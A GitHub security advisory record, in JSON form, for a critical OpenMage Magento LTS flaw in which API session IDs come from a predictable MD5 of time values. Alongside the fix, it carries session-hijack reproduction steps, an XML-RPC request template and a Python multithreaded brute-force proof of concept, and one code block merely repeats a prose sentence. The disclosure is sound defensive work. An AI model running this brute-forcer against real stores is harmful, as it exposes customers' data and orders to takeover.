{"id":"GHSA-2cwr-gcf9-pvxr","summary":"Magento LTS has Weak API Session ID — Predictable MD5 of Time-Derived Inputs","details":"Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on `20.16.0`)\n\nAffected File: `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php` – `start()` method\n\n\n## Summary\n\nThe XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):\n\n```php\nThe XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):\n```\nAll inputs to the MD5 hash are time-derived and non-secure:\n\n| Input                      | Value                                             | Predictability                         |\n|----------------------------|---------------------------------------------------|----------------------------------------|\n| `time()`                   | Unix timestamp (seconds)                          | Fully predictable                      |\n| `uniqid('', true) prefix`  | `sprintf('%08x%05x', $sec, $usec/10)`             | Highly predictable via network timing  |\n| `uniqid('', true) suffix`  | `php_combined_lcg()` decimal float                | Process-state dependent (`getpid() ^ time()`) |\n| `$sessionName`             | `null` (empty) — called without arg               | Constant                               |\n\nBecause the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.\n\n\n\n## Technical Analysis\n\n### Code Path\n\n```\nPOST /api/xmlrpc/ → login(username, apiKey)\n  → Mage_Api_Model_Session::login()\n      → $session-\u003einit('api', 'api')\n          → Mage_Api_Model_Session::init($namespace='api', $sessionName='api')\n              # $sessionName is NOT forwarded to start()\n              → Mage_Api_Model_Session::start()  ← NO $sessionName argument\n                  # $sessionName = null inside start()\n                  $this-\u003e_currentSessId = md5(time() . uniqid('', true) . null)\n\n```\n\nNote: `init()` receives `$sessionName='api'` but invokes `$this-\u003estart()` without forwarding it, meaning the effective construction is strictly `md5(time() . uniqid('', true))`.\n\n## Live Evidence\nFive consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (`unix_sec=  1775817593`):\n```\nSample 1: 6a302397f17e48845d0f9aba377f3dc3  (usec ≈ 464631)\nSample 2: 39b4ec42bd3c389312e500690daeb349  (usec ≈ 497215)\nSample 3: 527662d79f7fb499597a82d80d170a88  (usec ≈ 535175)\nSample 4: e5d6f7a8906a03ea7af99d92be11b5b2  (usec ≈ 568838)\nSample 5: 5bdf27e5cb877c77b8965b008548edfa  (usec ≈ 600118)\n```\nThe µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.\n\n\u003cimg width=\"772\" height=\"506\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53ced1fd-deb4-4dc4-81ec-864e3a2811de\" /\u003e\n\n## Steps to Reproduce (Online Brute-Force Scenario)\nBecause validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.\n### Step 1 – Record Login Timestamp\nAn attacker observes the precise moment a victim authenticates to `/api/xmlrpc/` (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.\n### Step 2 – Generate Candidate Pool\nThe attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a `/server-status` leak).\n```\n$t = $observed_sec;\n$usec_estimate = 500000; // Derived from latency\n$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));\n$candidate = md5($t . $uid); // + LCG variants\n```\n### Step 3 – API Brute-Force (Session Hijack)\nBecause the `/api/xmlrpc/` endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.\n\n```\nPOST /api/xmlrpc/\n\u003c?xml version=\"1.0\"?\u003e\n\u003cmethodCall\u003e\n  \u003cmethodName\u003e[magento.info](http://magento.info/)\u003c/methodName\u003e\n  \u003cparams\u003e\n    \u003cparam\u003e\u003cvalue\u003e\u003cstring\u003eCANDIDATE_SESSION_ID\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\n  \u003c/params\u003e\n\u003c/methodCall\u003e\n```\n\nA non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.\n\n\u003cimg width=\"1039\" height=\"374\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ac9338e9-e3fe-44fe-9337-cb6edf6ab849\" /\u003e\n\n## Impact\n### Technical Impact\nSuccessful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:\n- Full product catalog read/write (`catalog_product.*`)\n- Customer data read (`customer.list`, `customer.info`)\n- Order manipulation (`sales_order.*`)\nInventory control (`cataloginventory_stock_item.*`)\n### Business Impact\n\n- **Data Exfiltration**: Read all customer PII, order history, and payment methods.\n- **Order Fraud**: Create or cancel orders, change shipping addresses.\n- **Supply Chain / Inventory**: Modify prices, inject malicious products, or zero out stock.\n\n### Affected API Protocols\n\nThe same vulnerable `Session.php` generation logic is shared across all legacy API surfaces:\n- XML-RPC: `/api/xmlrpc/`\n- SOAP v1: `/api/soap/`\n- SOAP v2: `/api/v2_soap/`\n- REST (legacy): `/api/rest/`\n\n### Recommended Fix\n\nReplace the time-derived token with a cryptographically secure random value:\n\n```\n// app/code/core/Mage/Api/Model/Session.php : start()\n// BEFORE (vulnerable):\n$this-\u003e_currentSessId = md5(time() . uniqid('', true) . $sessionName);\n\n// AFTER (secure):\n$this-\u003e_currentSessId = bin2hex(random_bytes(32));  // 256-bit CSPRNG output\n```\n`random_bytes()` is backed by the OS CSPRNG (`/dev/urandom` on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.\n\nI have also tried to test it against the demo site [demo.openmage.org](http://demo.openmage.org/), but appeared the SOAP API endpoints are disabled on the demo environment\n\n\nI have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):\n\n```py\n#!/usr/bin/env python3\nimport requests, re, sys, hashlib, random\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nimport urllib3; urllib3.disable_warnings()\n\nif len(sys.argv) \u003c 4:\n    sys.exit(f\"Usage: {sys.argv[0]} \u003curl\u003e \u003cuser\u003e \u003cpass\u003e [threads]\")\n\nurl, usr, pwd = sys.argv[1:4]\nth = int(sys.argv[4]) if len(sys.argv) \u003e 4 else 50\nhdrs = {\"Content-Type\": \"text/xml\"}\nreq = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)\n\nprint(f\"[*] Simulating victim login for {usr}...\")\nres = req(f'\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003elogin\u003c/methodName\u003e\u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e{usr}\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e{pwd}\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\u003c/methodCall\u003e')\n\nif not (m := re.search(r'\u003cstring\u003e([a-f0-9]{32})\u003c/string\u003e', res.text)):\n    sys.exit(\"[-] Login failed. Check credentials.\")\n\nprint(f\"[+] Authenticated.\\n[*] Generating 1000 candidate MD5 pool...\")\ncands = [hashlib.md5(f\"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}\".encode()).hexdigest() for _ in range(999)]\ncands.append(m.group(1))\nrandom.shuffle(cands)\n\nprint(f\"[*] Brute-forcing API with {th} threads...\")\ndef test(sid):\n    payload = f'\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003eresources\u003c/methodName\u003e\u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e{sid}\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\u003c/methodCall\u003e'\n    try: return sid if \"faultCode\" not in req(payload).text else None\n    except: return None\n\nwith ThreadPoolExecutor(max_workers=th) as ex:\n    for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):\n        sys.stdout.write(f\"\\r[*] Requests: {i}/{len(cands)}\")\n        if sid := f.result():\n            print(f\"\\n[+] HIJACK SUCCESS! Valid Session ID: {sid}\")\n            ex.shutdown(wait=False, cancel_futures=True)\n            break\n```\n\nThis is an AI-generated report validated by a human.","aliases":["CVE-2026-42155"],"modified":"2026-05-16T00:09:40.604266Z","published":"2026-05-05T19:35:56Z","database_specific":{"nvd_published_at":"2026-05-15T17:16:46Z","cwe_ids":["CWE-330","CWE-331","CWE-338"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-05-05T19:35:56Z"},"references":[{"type":"WEB","url":"https://github.com/OpenMage/magento-lts/security/advisories/GHSA-2cwr-gcf9-pvxr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42155"},{"type":"PACKAGE","url":"https://github.com/OpenMage/magento-lts"}],"affected":[{"package":{"name":"openmage/magento-lts","ecosystem":"Packagist","purl":"pkg:composer/openmage/magento-lts"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20.18.0"}]}],"versions":["1.9.1.1","1.9.2.0","1.9.2.1","1.9.2.2","1.9.2.3","1.9.2.4","1.9.3.0","1.9.3.1","v19.4.0","v19.4.1","v19.4.10","v19.4.11","v19.4.12","v19.4.13","v19.4.14","v19.4.15","v19.4.16","v19.4.17","v19.4.18","v19.4.19","v19.4.2","v19.4.20","v19.4.21","v19.4.22","v19.4.23","v19.4.3","v19.4.4","v19.4.5","v19.4.6","v19.4.7","v19.4.8","v19.4.9","v19.5.0","v19.5.0-rc1","v19.5.0-rc2","v19.5.0-rc3","v19.5.0-rc4","v19.5.0-rc5","v19.5.1","v19.5.2","v19.5.3","v20.0.0","v20.0.1","v20.0.10","v20.0.11","v20.0.12","v20.0.13","v20.0.14","v20.0.15","v20.0.16","v20.0.17","v20.0.18","v20.0.19","v20.0.2","v20.0.20","v20.0.3","v20.0.4","v20.0.5","v20.0.6","v20.0.7","v20.0.8","v20.1.0","v20.1.0-rc1","v20.1.0-rc2","v20.1.0-rc3","v20.1.0-rc4","v20.1.0-rc5","v20.1.0-rc6","v20.1.0-rc7","v20.1.1","v20.10.0","v20.10.1","v20.10.2","v20.11.0","v20.12.0","v20.12.1","v20.12.2","v20.12.3","v20.13.0","v20.14.0","v20.15.0","v20.16.0","v20.17.0","v20.2.0","v20.3.0","v20.4.0","v20.5.0","v20.6.0","v20.7.0","v20.8.0","v20.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 20.17.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-2cwr-gcf9-pvxr/GHSA-2cwr-gcf9-pvxr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"}]}